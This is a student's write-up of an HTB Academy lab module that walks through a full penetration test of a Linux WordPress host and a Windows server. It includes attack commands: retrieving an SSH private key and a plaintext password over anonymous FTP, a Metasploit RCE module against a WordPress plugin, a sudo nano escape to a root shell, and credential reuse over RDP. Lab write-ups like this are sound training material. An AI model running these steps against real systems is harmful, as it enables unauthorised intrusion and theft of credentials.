Penetration Testing in Nutshell-HTB Academy write-up
Back again for another module on the CJCA path. This one’s called “Pentest in a Nutshell,” and honestly the name alone got me a little excited feels like the module where all the separate pieces I’ve been learning finally get stitched together into something that looks like an actual pentest.
1-Intro.
So the idea here is pretty simple: this module walks through an entire penetration test, start to finish. I’ve read about the phases before, but reading about them and actually doing them back-to-back are clearly two different things which I think is the whole point of this module.
Quick recap on what pentesting even is, in case future-me forgets: it’s a legal, authorized simulated attack on a company’s systems (networks, servers, apps, whatever’s in scope), with the goal of finding vulnerabilities before an actual attacker does. Everything found gets written up in a report so the company’s devs/admins/security team know what to fix.
The 8 phases this is the part I want to actually remember, not just skim:
- Pre-Engagement : getting everything agreed on and in writing before touching anything. Permissions, scope, rules.
- Information Gathering : learning as much as possible about the target: structure, tech stack, dependencies.
- Vulnerability Assessment : going through everything gathered and figuring out where the actual weak points might be.
- Exploitation : actually going after those weak points, bypassing whatever’s defending them.
- Post-Exploitation : once inside, trying to escalate to higher privileges.
- Lateral Movement : using that foothold to move around the rest of the internal network.
- Proof-of-Concept : turning notes and screenshots into an actual report that reproduces each finding step-by-step.
- Post-Engagement : sitting down with the client, walking through the report, helping them fix what was found.
One thing I liked from this section: the module basically says this process is meant to work like a map. If I ever get stuck mid-test, it’s always going to be one of three things I haven’t found something yet, I don’t know something yet, or I’m heading in the wrong direction. That’s actually a pretty reassuring way to frame “being stuck,” instead of it just feeling like I’m failing at something.
2- Scope Definition
This is the Pre-Engagement phase, and honestly it’s more paperwork than hacking but I get why it matters now that I’ve read it properly.
NDA(No-Disclosure Arguments) first, always
Before any actual conversation about the target happens, an NDA gets signed. Makes sense once I thought about it: as a tester, I’m going to see things like security holes, private data, trade secrets, how their internal systems actually work. If any of that leaked, it could be genuinely damaging to the company or worse, handed straight to an actual attacker.
The NDA is basically what lets both sides trust each other enough to work together at all. The company knows I won’t leak what I find, and I’m covered legally for handling their sensitive info. Before signing, conversations have to stay vague and general. After signing, it opens up systems in scope, past security issues, credentials, internal processes, all fair game to discuss.
Scoping is figuring out what’s actually being tested
Two documents here:
- Scoping questionnaire : a checklist to gather the basics (what systems, what’s the goal, what’s the security posture like).
- Scoping document : built from the questionnaire, spells out exactly what’s being tested, how, and where the limits are.
For this module’s practice scenario:
- Targets: 2 hosts a Linux web app, and a Windows server
- Testing type: Black box (no prior knowledge going in)
- Goal: Confirm this small environment is actually secure
Obviously a real engagement’s scoping docs would be way more detailed than this, but even this simplified version already shows why it matters without it, I could genuinely see myself accidentally poking at something out of scope.
The actual plan
Before starting, the engagement needs to nail down:
- Goals : what the company actually wants out of this
- Limits : what’s in scope / what’s off-limits
- Methods : black box, grey box, white box.
- Schedule : timeline
- Role : what exactly I’m doing in the engagement
- Results : what gets delivered at the end (report, recommendations, etc.)
Takeaway from this section: pentesting isn’t just “go break stuff.” Half the work and honestly the part protecting everyone involved happens before a single command gets run.
3. Network and Service Scanning
This is the part where it finally starts feeling like hacking. Before touching anything, though, the module hammers home: stay inside scope. If the scope says 10.129.12.0/24, that's the only range I'm allowed to touch nothing outside it, no matter how tempting.
The actual goal here is simple to say, harder to appreciate until you do it: find which hosts are alive, and what services they’re running. That’s it. But apparently almost everything after this phase depends on getting this part right.
Nmap
nmap -sV -p- 10.129.12.0/24 -oA network-scan-sV→ try to identify the actual software/version behind each open port-p-→ scan literally all 65,535 ports, not just the common ones-oA network-scan→ save results to a file (so I'm not just staring at scrollback forever)
Actually reading the results
This was the bigger lesson for me, honestly the scan output alone is useless if I don’t understand why any of it matters. A few things that stood out reading through it:
- Host
.10was running FTP, SSH, and a couple of web servers on 80/443 all fairly standard, but FTP especially is known for weak auth. - Host
.20was a Windows box with SMB (port 445) open apparently this is the exact port that EternalBlue abused, which made that line hit different once I made the connection. - RDP (3389) was also open on the Windows host a classic brute-force target if it’s not locked down.
So the point isn’t just “open port = bad.” It’s building a mental map: this service, on this port, historically has these kinds of problems which tells me where to actually spend my time next instead of poking randomly at everything.
What comes after this
The scan results basically become a to-do list:
- Run something like Nessus/OpenVAS to check the identified software versions for known CVEs
- Try weak credentials against FTP/SSH/RDP.
- Check web server configs for anything sloppy (default creds, exposed panels).
- If something’s actually exploitable, that’s where Metasploit or a manual exploit comes in.
Note-taking
Small section but it stuck with me apparently the habit of writing down every command and result, right as you go, isn’t optional. Not just for the final report either it’s so I can actually retrace what I did and why, especially when something interesting shows up and I want to remember why I flagged it. Markdown seems to be the go-to format for this since it’s fast to write and still looks clean.
Honestly this is the section that made me realize pentesting is a lot more “systematic investigation” than “random button mashing,” which is not really how I pictured it before starting.
4. Low Hanging Fruits
Finally got a definition for a term I’d heard thrown around a lot: a “low-hanging fruit” is basically the easy stuff a misconfig or vuln that doesn’t take deep skill to find or exploit, but still gets you real access. Default creds, unpatched software with a public exploit, exposed services that shouldn’t be exposed that kind of thing.
What clicked for me here: this isn’t “the boring stuff you check before the real hacking.” It’s often literally how real attackers get in quick, low-effort, high-payoff. So learning to spot this stuff fast is apparently a real skill, not a shortcut.
One thing that stood out and honestly felt like it was talking directly to me as a beginner: most problems at this stage come down to either not paying attention (typos, wrong port, missed detail) or overthinking it (jumping to conclusions, overcomplicating something simple). I can already tell I’m going to be guilty of both at some point.
Target 1–10.129.12.10
sudo nmap -p21,22,443 -sV -sC 10.129.12.10Looking closer at each line of this scan output, here’s what actually matters:
- Port 21/FTP, ProFTPD, anonymous login allowed. This one’s the standout.
Anonymous FTP login allowed (FTP code 230)means literally anyone can connect with no credentials. And it's not empty either, there's a file sitting right there:WordPress_Blog_Setup_Update.txt, owned by userjohn. That filename alone is a hint about what's likely on this box (WordPress, confirmed later on port 443), and the usernamejohnis worth holding onto. It could turn into a login guess later, or show up again somewhere else. - Port 22/SSH, OpenSSH 8.9p1 on Ubuntu. Nothing alarming by itself, but it does confirm the OS (Ubuntu) and gives a fairly recent version number I can check against known CVEs later if nothing else pans out.
- Port 443/HTTPS, WordPress 6.7.2, domain cube-case.htb. The
http-generator: WordPress 6.7.2line basically tells me exactly what CMS and version is running, no guessing needed. Thessl-certdetails also reveal the actual domain name (cube-case.htb), which I hadn't seen before this scan. Small thing, but useful to add to my hosts file so future requests resolve properly instead of just hitting the raw IP.
Put together, this one scan already gave me an OS, a domain name, a CMS and version, a username, and a file to go download. That’s a lot of groundwork from a single command, and it reinforces why the module keeps pushing “pay attention to detail” instead of rushing past scan output.
Summary for this host: Ubuntu, FTP, SSH, WordPress, domain cube-case.htb.
Juicy information:
- Running Ubuntu operating system
- FTP service on port 21
- SSH access on port 22
- WordPress 6.7.2 installation
- Domain: cube-case.htb
Target 2–10.129.12.20
sudo nmap -p- -sV -sC 10.129.12.20 -T5 -PnThis target had way more going on than the first one, so I had to slow down and actually read through each line instead of skimming.
- Port 3000, Gitea. Same service I found on the first pass, so at least I recognized it this time. The page title
Cube Case Giteaand cookies likei_like_giteaand_csrfin the response headers confirm it. Since Gitea stores source code, I'm guessing there could be leftover credentials or config files sitting in a repo somewhere, that feels like a promising lead to chase later.
We can notice that they are using an outdated version of Gitea after visiting the official documentation page of it.
- Port 445, SMB. The
smb-os-discoveryoutput basically handed me the OS (Windows Server 2019), the hostname (WIN01), and the workgroup (HTBLAB), no digging required. What actually caught my eye though wasmessage_signing: disabled (dangerous, but default). I didn't know what SMB signing was before this, so I looked it up, apparently disabling it opens the door to relay attacks. Filing that away for later.
- Port 3389, RDP. The SSL cert here also shows
WIN01again, confirming it's a real RDP service and not just some placeholder. I already know from earlier reading that RDP is a common brute-force target, so this is another one to keep in mind.
- Ports 5985/5986. Took me a second to realize these are WinRM. Apparently if I ever land valid credentials, this could give me a remote shell without even needing RDP. Good to know that’s an option down the line.
account_used: guestunder smb-security-mode. This one I almost skipped past, but it means the scan managed to authenticate as guest. That's worth manually poking at later with something likesmbclientorenum4linux, since it might mean some shares are accessible without real credentials.Domain
Juicy information:
- Hostname: WIN01
- Operating System: Windows Server 2019 Standard (build 17763)
- File sharing: SMB on 445
- Remote Access: SSH on 22, RDP on 3389
- Web Server: Gitea
- Domain: cube-case.htb
Stepping back: this box is a Windows Server 2019 machine called WIN01, sitting in a workgroup called HTBLAB, running an outdated Gitea instance plus the usual Windows file-sharing and remote management services. Between the disabled SMB signing, the guest-accessible SMB, and that outdated Gitea version, I've already got three separate leads to follow up on, and I haven't tried exploiting a single thing yet.
That last part is the interesting bit code repos often hold secrets: credentials, config files, internal notes. And checking the version against Gitea’s official release page showed this instance was outdated, which usually means there’s a known, patched vulnerability sitting there unpatched on this box.
Summary for this host: Windows Server 2019, hostname WIN01, domain cube-case.htb, SMB/SSH/RDP open, plus that outdated Gitea install that may contain vulnerabilities and potentially sensitive information..
After doing some research about what “Gitea” is we found out that it is a tool that helps developers store and work on their computer code, acting central hub where teams can work together on software projects.
From what I gathered, it’s used for things like:
- Keeping a full history of every code change, so developers can roll back if something breaks
- Letting multiple people work on the same project without stepping on each other
- Making it easier to review someone else’s work before merging changes in
- Tracking tasks, bugs, and overall project progress
Made sense why companies rely on tools like this, keeping a growing codebase organized with multiple developers touching it sounds like a nightmare otherwise.
But here’s the part that mattered more from a security angle: these repos aren’t just code. They can also end up holding config files, internal notes, or even hardcoded credentials, especially if a developer wasn’t careful. So if a Gitea instance like this one isn’t set up properly, or is running an outdated version, it’s not just “some dev tool”, it’s a potential source of real sensitive data. That reframed this finding for me. It’s not just “there’s a website on port 3000”, it’s “there might be secrets sitting in whatever repos this thing is hosting.
Challenge:
5. Linux Information Gathering
This section is where the FTP access from earlier actually paid off. Time to go back to that anonymous FTP login and see what’s really in there.
Poking around FTP
ftp 10.129.12.10 21I already knew about WordPress_Blog_Setup_Update.txt from the nmap scan, but running ls -al instead of just ls showed a bunch of hidden files I hadn't noticed before. Apparently this is just standard practice, ls alone hides dotfiles, and this whole directory turned out to be user john's home folder.
Files sitting right there included .bash_history, .bashrc, .viminfo, and a .ssh directory. I didn't expect an FTP server to just expose someone's actual home directory like this.
The .ssh folder
This is the part that actually made me pause. Inside .ssh were two files:
1/ id_rsa : is the private key that should be kept secret and never shared
2/ id_rsa.pub: is the public key that can be shared with other systems
I knew vaguely that SSH keys come in pairs, but this made it concrete for me: id_rsa.pub is fine to share, that's the whole point of a public key. id_rsa is the private half, and it should never be sitting somewhere downloadable by anonymous users.
Getting it anyway since that’s literally the point of all of this.
The bash history goldmine
echo "john:SuperSecurePass123" | sudo chpasswdthe important line, the user john’s password has been changed.
reading the ssh private key:
Putting it together
By the end of this, I had:
- A username (
john) - A possible password (
SuperSecurePass123) - An unencrypted private SSH key
Moving to WordPress
“WordPress” is a free, open-source Content Management System (CMS) that allows you to build and manage websites without writing code.
A Content Management System (CMS) is a software application that lets you create, manage, and publish digital content without needing advanced coding skills.
Before running anything, I looked up what WPScan actually does. Turns out it’s a tool built specifically for WordPress sites, it scans for security issues in WordPress core itself, checks installed plugins and themes for known vulnerabilities, and can even try enumerating usernames or testing weak passwords. Made sense to use it here since I already knew this box was running WordPress, seemed like the obvious next step instead of poking around manually.
Next target was the WordPress install on port 443, using a tool called WPScan I hadn’t touched before.
wpscan -e p --url https://<TARGET_IP>--disable-tls-checks --no-banner --plugins-detection aggressive -t 100The scan confirmed the WordPress version (6.7.2, actually the latest at the time), and also flagged a plugin called hash-form, running version 1.1.0. WPScan noted this version as outdated.
Finding the actual exploit
Ran the scan with a few flags: -e p to enumerate plugins, --disable-tls-checks since this is a lab cert, --plugins-detection aggressive to actually confirm plugin versions instead of just guessing, and -t 100 to speed things up with more threads.
A plugin is a small software add-on that attaches to a larger program to give it new features or extra power.
Going through the output slowly instead of just jumping to the plugin section at the bottom:
Server header
Server: Apache/2.4.52 (Ubuntu)Confirms what nmap already told me, Apache on Ubuntu. Nothing new, but nice to see it cross-check.
XML-RPC enabled
XML-RPC seems to be enabled: https://10.129.12.10/xmlrpc.phpDidn’t know what this was at first. Looked it up, XML-RPC is an older WordPress feature that can be abused for things like brute-forcing logins or amplifying DDoS attacks. Not something I’m exploiting right now, but worth noting as another exposed surface.
WordPress version
WordPress version 6.7.2 identified (Latest, released on 2025-02-11)This one’s actually reassuring in a bad way, “latest version” means the core WordPress install itself isn’t the weak point here. So if there’s a way in, it’s probably not going to be WordPress core itself, it’s going to be something added on top.
Theme
WordPress theme in use: twentytwentyfive
The version is out of date, the latest version is 1.1Flagged as outdated, so I made a mental note to check it, but nothing here screamed “vulnerable” on its own. Themes can have issues, but this didn’t stand out as much as what came next.
The plugin, this is the important part
hash-form
Version: 1.1.0 (100% confidence)
The version is out of date, the latest version is 1.2.4This is the line I almost skimmed past on my first read, but “100% confidence” is what made me stop. WPScan wasn’t guessing here, it confirmed the exact version through the plugin’s own readme file. An outdated plugin with a confirmed version number is exactly the kind of thing worth searching for known CVEs against, way more promising than a vague “might be outdated” theme.
What I actually did with this
Instead of assuming “outdated = vulnerable” and moving on, I took that exact plugin name and version into Metasploit’s search function to see if anything concrete existed. That’s really the lesson from reading this output carefully: the scan didn’t hand me an exploit, it handed me a specific enough detail (plugin name + exact version, confirmed) to go check for one myself.
Juicy infos:
- Server Information: Apache/2.4.52 (Ubuntu)
- WordPress version confirmed: WordPress 6.7.2
- XML-RPC: Enabled and accessible
- Theme: twentytwentyfive v1.0
- Plugin: hash-form v1.1.0
Finding the actual exploit
msfconsole -q
search wordpress hash formAnd there it was:
exploit/multi/http/wp_hash_form_rce 2024-05-23 excellent WordPress Hash Form Plugin RCEPlugin vulnerable to Remote Code Execution(RCE).
so using the command info will help us to check if the plugin version is vulnerable to that exploit.
Challenge
Question 1: Finding the .txt File
moving to the next question.
First i grabbed the file WordPress_Blog_Setup_Update.txt
ftp> get WordPress_Blog_Setup_Update.txt
local: WordPress_Blog_Setup_Update.txt remote: WordPress_Blog_Setup_Update.txt
229 Entering Extended Passive Mode (|||24310|)
150 Opening BINARY mode data connection for WordPress_Blog_Setup_Update.txt (964 bytes)
100% |*****************************************************************| 964 4.60 KiB/s 00:00 ETA
226 Transfer complete
964 bytes received in 00:00 (1.02 KiB/s)
ftp>Then on my local machine:
Question 3: Tracking Down the .tar.gz File
The question: What is the name of the “.tar.gz” file that has been moved to the “/mnt/backup/” directory?
Since I couldn’t browse to /mnt/backup/ directly, I needed another way to find out what happened there. This is where .bash_history became gold. Bash history files are basically a diary of every command a user has run — if you can read one, you can often reconstruct exactly what someone did on a machine.
I downloaded it:
.bash_history failed locally with a "Permission denied," but that was a local file-naming issue, not a server-side one. Renaming the destination file on download fixed it immediately.Reading through the history, I found the exact sequence of commands that created and moved the backup:
for the 4th question
5th question
Bonus find: The same history file also leaked a plaintext password:
echo "john:SuperSecurePass123" | sudo chpasswdchmod 600, I authenticated over SSH as john no password needed this time, just the key. Shell access achieved.Question 5: Finding the WordPress Version
Get Zainebdagdoug’s stories in your inbox
Join Medium for free to get updates from this writer.
For the 5th question, Since the target is confirmed to be running WordPress we will use it WPScan(it’s purpose-built for enumerating WordPress installs (version, themes, plugins, users, vulnerabilities) rather than digging through files manually) tool to scan it and piping it through grep for the keyword "WordPress".
wpscan -e p --url https://10.129.233.210 --disable-tls-checks | grep "WordPress"This immediately surfaced:
[+] WordPress readme found: https://10.129.233.210/readme.html
[+] WordPress version 6.7.2 identified (Insecure, released on 2025–02–11).Linux Initial Access
good morning, we are back.
Steps to get their:
first we use metasploit framework:
msfconsole -q use 0 set rhosts <TARGET_IP>set rport <PORT>set ssl TRUEset lhost tun0exploitsysinfolocalhostshellssh john@<TARGET_IP>idLinux System Enumeration
Before jumping into commands, this section cleared up something I’d been fuzzy on: the difference between Exploitation and Post-Exploitation. I always assumed Post-Exploitation just automatically starts once you’re in, but apparently what actually defines the shift is the level of access. Exploitation is attacking from outside, Post-Exploitation is what happens once you’re inside looking around. The module gave a good example that made it click: if you find a root-owned SSH key while poking around as a regular user, using that key to log in as root is already a privilege escalation, and that alone shifts you into Post-Exploitation. It’s about access level, not just “time passed since I got a shell.”
Also picked up on something that felt obvious in hindsight but wasn’t something I’d really thought about: you can’t escalate privileges on a system you don’t understand. If I don’t know the kernel version, what users exist, how things are configured, I have basically nothing to work with for finding a way up to root.
What actually needs collecting here
we need to collect at least the following pieces of information:
- System information: OS version, kernel version, architecture, and installed patches
- User information: Current user privileges, all users on the system, sudo rights
- Network information: Network interfaces, routing tables, active connections
- Running services: Active processes, listening ports, scheduled tasks
- File system: Interesting files, permissions issues, mounted drives
- Installed software: Applications, versions, potential vulnerabilities
- Security mechanism: Firewall rules, SELinux status, AppArmor profiles.
That’s a lot to check manually, which is exactly why a tool like LinPEAS exists.
Exploitationstage is when we attack the target system from outside andPost-Exploitationwhen we attack it from within.
Using LinPEAS for the first time
Downloaded it on my attacking machine:
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.shThen transferred it over to the target using the SSH key I already had access to:
scp -i id_rsa ./linpeas.sh john@<TARGET_IP>:/home/johnReading through what LinPEAS actually checks for was useful, since it’s basically a list of every place I wouldn’t have thought to look manually. A few things it covers:
- Automatically flags common privilege escalation paths
- Catches misconfigured services, cron jobs, and SUID/SGID binaries (this one I had to look up, apparently SUID/SGID binaries can let a regular user run something with elevated permissions if it’s set up wrong)
- Digs through files, environment variables, and process memory for leftover credentials
- Checks installed software versions against known vulnerabilities and kernel exploits
- Reviews sudo permissions for anything overly generous
- Flags info that could help with moving to other systems on the network later.
scp -i id_rsa ./linpeas.sh john@<TARGET_IP>:/home/john
scp -i <private-key> <file-to-transfer> <username>@<ip-address>:<path-to-store>The tool scp to upload the file to the target system by using obtained SSH access to the target.
This was actually a nice moment, seeing that the SSH access from the previous section wasn’t just a one-time proof it worked, it’s an actual usable channel for moving files in both directions.
Logged in and ran it:
bash linpeas.sh -a -N > linpeas_results.txt-a runs everything, -N strips the color codes since I was redirecting output to a file instead of viewing it live in the terminal. A bunch of permission-denied errors scrolled by while it ran, which the module reassured me is normal, not everything on the system is going to be readable as a regular user, and that's expected.
Then pulled the results back to my own machine to actually go through them properly:
zainebD@htb[/htb]$ # Command Syntax: scp -i <private-key> <username>@<ip-address>:<file-to-download> <path-to-store>
scp -i id_rsa john@<TARGET_IP>:/home/john/linpeas_results.txt ./linpeas_results.txtWhat I’m taking from this
I haven’t actually gone through the results file in detail yet, that’s clearly next, but the workflow itself was the real lesson here: get a tool onto the target, run it, pull the output back, and analyze it from the comfort of my own machine instead of squinting at a remote terminal. Small thing, but it feels like a much more sustainable way to work than trying to eyeball everything live over SSH.
Challenge
Linux Vulnerability Assessment
Time to actually go through that LinPEAS output I pulled back earlier. Opened it up with cat and started reading from the top instead of jumping around.
Linux Privilege Escalation
Privilege escalation is the aim to become a root as simple as that.
This is the section I’d honestly been waiting for since the module started. Everything up to this point, the FTP digging, the WordPress exploit, the SSH access, the LinPEAS run, was all building toward one goal: becoming root. Reading the recap at the top of this section actually felt satisfying, seeing all those separate findings laid out together made me realize how much groundwork had already been done before even attempting anything here.
Connecting a dot I almost missed
The first thing this section pointed out is something I’d noted earlier but hadn’t actually acted on: since www-data is a member of John's group, and I already had a www-data shell from the WordPress exploit, I could use that access to reach into John's home directory and grab the SSH private key myself, the exact same way I originally found it through FTP. That connection made something click for me. These findings aren't separate, isolated wins. They chain together. One foothold gave me the means to reach the next one, even through a completely different path than before.
Checking sudo rights properly
Logged in as john and ran the “sudo -l” command to list the available sudo privileges:
I’d seen this output before in LinPEAS, but reading it directly, and having it actually explained, made it click properly this time.
The NOPASSWD on nano means I can open that editor as root without ever entering a password.
On its own that sounds harmless, it's just a text editor. But this is where I learned about something called GTFOBins, a project that documents how ordinary system binaries (editors, interpreters, even things like find or less) can be abused to escalate privileges when sudo access is granted to them. I hadn't heard of this concept before, and it genuinely changed how I look at "harmless" sudo permissions now. Access to any binary as root is potentially dangerous if that binary can spawn a shell.
Breaking out of nano into a root shell
The technique itself: open nano as root, then use ^R^X (Ctrl+R, Ctrl+X) to bring up nano's command execution prompt, and feed it a command that resets the terminal and drops into a bash shell.
sudo /usr/bin/nano privescBreaking out of nano using ^R^X sequence to spawn a root shell.
What I’m taking away from this section
Looking back at everything that led here, I think the real lesson isn’t “nano can be dangerous”. It’s that privilege escalation rarely comes from one dramatic exploit. It comes from small, individually reasonable-looking decisions stacking up: a group membership here, a sudo exception there, a password left in a history file. None of those things look catastrophic in isolation. Put together, they hand over the entire machine.
This is also the first time in the module I actually felt the full weight of the phrase “post-exploitation isn’t finished yet.” Getting root feels like the finish line, but the module was clear that now the real work starts again, this time from the very top of the system, going back through everything that was previously locked away and out of reach.
Challenge
Linux Pillaging
New term for me here: pillaging. Basically, once you have root, you go back and dig through everything again, except this time nothing’s off-limits. Same idea as system enumeration earlier, but with actual permission to open every file instead of hitting “permission denied” everywhere.
The term Pillaging refers to the process of extracting valuable information from a compromised system for purposes such as privilege escalation, lateral movement, or data exfiltration.
Running LinPEAS again, now as root
bash /home/john/linpeas.shSame tool, same target, but the difference in output was noticeable right away, entire sections that were empty or restricted as john were now fully visible.
Windows Information Gathering
Time to switch gears to the second machine, the Windows box I scanned way back at the start but hadn’t touched since. Nice to see it’s actually the same nmap output I already had, so I could jump straight into interpreting it properly instead of rescanning.
Challenge
Learning about SMB properly
I’d heard SMB mentioned a lot already (it kept showing up in scans), but this section actually explained what it is: basically Windows’ version of file sharing, similar in purpose to FTP on Linux, and historically a major attack target (EternalBlue being the most infamous example).
First time using CrackMapExec
New tool for me here.
Ran a basic scan against the SMB service(for our approach for now):
crackmapexec smb 10.129.230.148Two details jumped out: signing is disabled, and SMBv1 is enabled. I already knew signing being off is a known weak point from the earlier LinPEAS findings on the other box, but SMBv1 was new to me, apparently it’s the oldest version of the protocol, normally disabled by default on modern systems, so seeing it active here is a sign this box might be configured more loosely than expected, or supporting some older legacy requirement.
Testing for anonymous access
crackmapexec smb 10.129.230.148 -u '' -p '' --users
# -u : stand for user
# -p : password
# --shares : sharesThis tried a NULL session, connecting with completely empty credentials. It got partial access but hit an access-denied wall trying to enumerate actual users. So not a full win, but confirms the door isn’t completely locked either.
Windows Initial Access
SMB Exploitation
This section is where something clicked in a way I hadn’t expected: the credentials I found back on the Linux box (john:SuperSecurePass123) weren't just useful there. They ended up being the actual key into this completely separate Windows machine too. First real taste of what "password reuse" actually means in practice, not just a warning line in a security article.
Challenge
Since brute-forcing is generally something to avoid (too noisy, could trigger lockouts or alerts), but I already had one confirmed working password, it made sense to just verify it directly:
hydra -l john -p "SuperSecurePass123" rdp://10.129.230.148Windows System Enumeration
Now that I actually have access to the Windows box, this section is basically the mirror of what I did with LinPEAS earlier, except now I’m learning the Windows-side equivalents of everything.
Challenge
Windows Vulnerability Assessment
Time to actually confirm whether the lead from the last section is real, or just looked promising on paper.
Confirming what’s actually in ProgramData
PS C:\ProgramData> lsMostly standard Windows folders, but one entry immediately stood out given what I already knew: CorpBackup. Matched the exact script name (backupprep.ps1) from the scheduled task I found earlier, so this was clearly the right place to keep digging.
Windows Privilege Escalation
This is the section where the writable script from last time actually gets used. Reading through the possible approaches first, the module listed a few options: modify the script to add a reverse shell or add myself to admins, harvest credentials, hijack the task for persistence, or even just change the administrator’s password outright. Interesting to see it laid out that way, it made me realize this wasn’t really “one exploit,” it’s more like one vulnerability with several possible uses depending on what the actual goal is.
What this section really taught me
Out of everything in this whole module so far, this might be the one that changed how I think about “privilege escalation” the most. I’d been picturing it as something technical and complex, kernel exploits, CVEs, clever binary tricks. This was none of that. It was one line of legitimate, completely valid PowerShell, added to a file that was never supposed to be editable by a regular user in the first place. The vulnerability wasn’t in any piece of software at all, it was purely in how permissions were configured around an otherwise completely normal automation task.
That also reframes something for me about the earlier icacls finding. At the time it felt like a small technical detail. Now, having actually exploited it, I can see it was the entire vulnerability from start to finish, everything else in this section was just carrying out what that one permissions check had already revealed.
Windows Pillaging
Same idea as the Linux pillaging section, now that john is actually an administrator, it's time to go back through the system with full visibility and see what was previously hidden.
The winpill.ps1 script will extract the following information:
- System Information
- Hardware Information
- Services
- Running Processes
- Autorun Entries
- Non-Microsoft Scheduled Tasks
- User and Security Configuration
- Network Information
- Security Event Logs
- Software and Environment
- Sensitive and Interesting Files
- and some Privilege Escalation checks
Running the pillaging script as admin
This time using winpill.ps1, the Windows equivalent of the linpill script from earlier. Ran it with elevated rights:
Proof-of-Concept
This section shifted focus from “doing the hack” to actually documenting it properly, and honestly it reframed a lot of what I’d already done in this module.
The quote that stuck with me
“Give me six hours to chop down a tree, and I’ll spend the first four sharpening the axe.”
The module used this to make a point about preparation, spending more time upfront organizing and taking good notes actually saves time later, rather than rushing straight to results and having to piece everything back together afterward. Reading this made me appreciate why I’d been asked to “write things down” so many times throughout this module, it wasn’t busywork, it was literally building the PoC as I went, without realizing that’s what I was doing.
What I’m taking from this
The biggest realization here: a PoC isn’t a separate document you write after the fact from memory, it’s something you build as you go, by keeping good notes and screenshots at every step. If I’d been sloppy about documentation earlier in this module, writing a proper PoC afterward would’ve been painful, reconstructing exact commands and outputs from memory instead of just having them ready to paste. This section basically validated the habit I’d already picked up without meaning to.
Documentation
This section separated two things I’d been treating as the same: a PoC and full documentation. A PoC is the technical proof, the exact steps showing a vulnerability is real. Documentation is the bigger picture report, meant for a wider audience like managers and auditors, not just other technical people. The PoC gets folded into the documentation as evidence, it doesn’t replace it.
Such report usually contains several key parts:
- Statement Of Confidentiality
- Engagement Contacts
- Executive Summary
- Assignment
- Scope
- Deliveries
- Assessment Summary
- Compromise Walkthrough
- Remediation Summary
Reporting
This is the client meeting after the report’s written. Each finding gets explained in plain language with severity, how it was found, and screenshots.
It’s a discussion, not a one-way presentation. Same example that stuck: an exposed test file is low-risk, an exposed database password is urgent, even though both are “something got exposed.”
Not expected to write these yet as a beginner, there’s a dedicated module for later.
THANK FOR READING










